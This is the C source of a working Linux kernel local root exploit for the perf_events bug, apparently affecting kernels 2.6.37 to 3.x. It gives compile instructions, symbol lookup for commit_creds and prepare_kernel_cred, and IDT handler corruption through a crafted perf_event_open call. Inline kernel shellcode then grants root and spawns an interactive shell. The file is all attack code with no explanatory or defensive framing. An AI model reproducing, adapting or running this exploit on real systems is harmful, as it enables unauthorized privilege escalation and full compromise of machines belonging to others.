perf_exp.c

/*
 * Linux kernel perf_events local root exploit
 *
 * by wzt 2013  http://www.cloud-sec.org
 *
 * gcc -o perf_exp per_exp.c -O2
 *
 * target: 2.6.37 - 3.x
 *
 * test on:
 * rhel6.3/6.4 x86_64
 * rhel6.3 + 3.2 kernel
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#include <linux/perf_event.h>

#define KALLSYMS_NAME                           "/boot/System.map-2.6.32-279.el6.x86_64"

#define BASE                                    0x380000000
#define SIZE                                    0x010000000
#define KSIZE                                   0x2000000

#define USER_CS                                 0x33
#define USER_SS                                 0x2b
#define USER_FL                                 0x246

#define STACK(x)                                (x + sizeof(x))

typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

void exit_user_code(void);
char user_stack[1024 * 1024];

uint64_t *orig_idt_handler;

unsigned char kern_sc[] = "\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";

struct idtr {
        uint16_t limit;
        uint64_t addr;
}__attribute__((packed));

void exit_user_code(void)
{
        if (getuid() != 0) {
                printf("[-] exploit failed.\n");
                exit(-1);
        }

        printf("[+] Got root shell!\n");
        execl("/bin/bash", "sh", "-i", NULL);
}

void kernel_shellcode(void)
{
        asm volatile("swapgs\n\t"
                        "movq orig_idt_handler, %rsi\n\t"
                        "movq $-1, (%rsi)\n\t"
                        "movq $0, %rdi\n\t"
                        "movq $prepare_kernel_cred, %rsi\n\t"
                        "movq (%rsi), %rsi\n\t"
                        "callq *%rsi\n\t"
                        "movq %rax, %rdi\n\t"
                        "movq $commit_creds, %rsi\n\t"
                        "movq (%rsi), %rsi\n\t"
                        "callq *%rsi\n\t"
                        "movq $0x2b, 0x20(%rsp)\n\t"
                        "movq $user_stack, %rbx\n\t"
                        "addq $0x100000, %rbx\n\t"
                        "movq %rbx, 0x18(%rsp)\n\t"
                        "movq $0x246, 0x10(%rsp)\n\t"
                        "movq $0x33, 0x08(%rsp)\n\t"
                        "movq $exit_user_code, %rbx\n\t"
                        "movq %rbx, 0x00(%rsp)\n\t"
                        "swapgs\n\t"
                        "iretq");
}

int perf_event_open(uint32_t offset)
{
        struct perf_event_attr p_attr;
        int fd;

        memset(&p_attr, 0, sizeof(struct perf_event_attr));
        p_attr.type = PERF_TYPE_SOFTWARE;
        p_attr.size = sizeof(struct perf_event_attr);
        p_attr.config = offset;
        p_attr.mmap = 1;
        p_attr.freq = 1;

        fd = syscall(__NR_perf_event_open, &p_attr, 0, -1, -1, 0);
        if (fd == -1) {
                perror("perf_event_open");
                return -1;
        }

        if (close(fd) == -1) {
                perror("close");
                return -1;
        }

        return 0;
}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
        FILE *s_fp;
        char buff[200];
        char *p = NULL, *p1 = NULL;
        unsigned long addr = 0;

        s_fp = fopen(file_name, "r");
        if (s_fp == NULL) {
                printf("open %s failed.\n", file_name);
                return 0;
        }

        while (fgets(buff, 200, s_fp) != NULL) {
                if (strstr(buff, symbol_name) != NULL) {
                        buff[strlen(buff) - 1] = '\0';
                        p = strchr(strchr(buff, ' ') + 1, ' ');
                        ++p;
                        if (!p)
                                return 0;

                        if (!strcmp(p, symbol_name)) {
                                p1 = strchr(buff, ' ');
                                *p1 = '\0';
                                sscanf(buff, "%lx", &addr);
                                break;
                        }
                }
        }

        fclose(s_fp);
        return addr;
}

int perf_symbol_init(void)
{
        struct utsname os_ver;
        char system_map[128];

        if (uname(&os_ver) == -1) {
                perror("uname");
                return -1;
        }

        printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);

        snprintf(system_map, sizeof(system_map),
                "/boot/System.map-%s", os_ver.release);
        printf("[+] looking for symbols...\n");
        commit_creds = (_commit_creds)find_symbol_by_proc(system_map, "commit_creds");
        if (!commit_creds) {
                printf("[-] not found commit_creds addr.\n");
                return -1;
        }
        printf("[+] found commit_creds addr: %p\n", commit_creds);

        prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,
                        "prepare_kernel_cred");
        if (!prepare_kernel_cred) {
                printf("[-] not found prepare_kernel_cred addr.\n");
                return -1;
        }
        printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}

void exploit_banner(void)
{
        printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"
                "by wzt 2013\thttp://www.cloud-sec.org\n\n");
}

int main()
{
        struct idtr idt;
        uint64_t kbase;
        uint8_t *code;
        uint32_t *map;
        int i;
        int idt_offset;

        exploit_banner();

        if (perf_symbol_init() == -1)
                return -1;

        map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
        if (map != (void *)BASE) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap at %p ok.\n", (void *)map);
        memset(map, 0, SIZE);

        if (perf_event_open(-1) == -1)
                return -1;

        if (perf_event_open(-2) == -1)
                return -1;

        for (i = 0; i < SIZE/4; i++) {
                if (map[i]) {
                        assert(map[i+1]);
                        break;
                }
        }
        assert(i<SIZE/4);

        asm ("sidt %0" : "=m"(idt));
        kbase = idt.addr & 0xff000000;

        code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
                        MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
        if (code != (void *)kbase) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap shellcode at %p ok.\n", (void *)code);

        memset(code, 0x90, KSIZE);
        code += KSIZE - 1024;

        *(uint32_t *)(kern_sc + 3) = (uint32_t)&kernel_shellcode;
        memcpy(code - 9, kern_sc, 9);

        orig_idt_handler = (uint64_t *)(idt.addr + 0x48);
        printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);

        idt_offset = -i + (((idt.addr & 0xffffffff) - 0x80000000) / 4) + 16;
        printf("[+] trigger offset: %d\n", idt_offset);

        if (perf_event_open(idt_offset) == -1)
                return -1;

        printf("[+] trigger int4 ...\n");
        asm("int $0x4");
}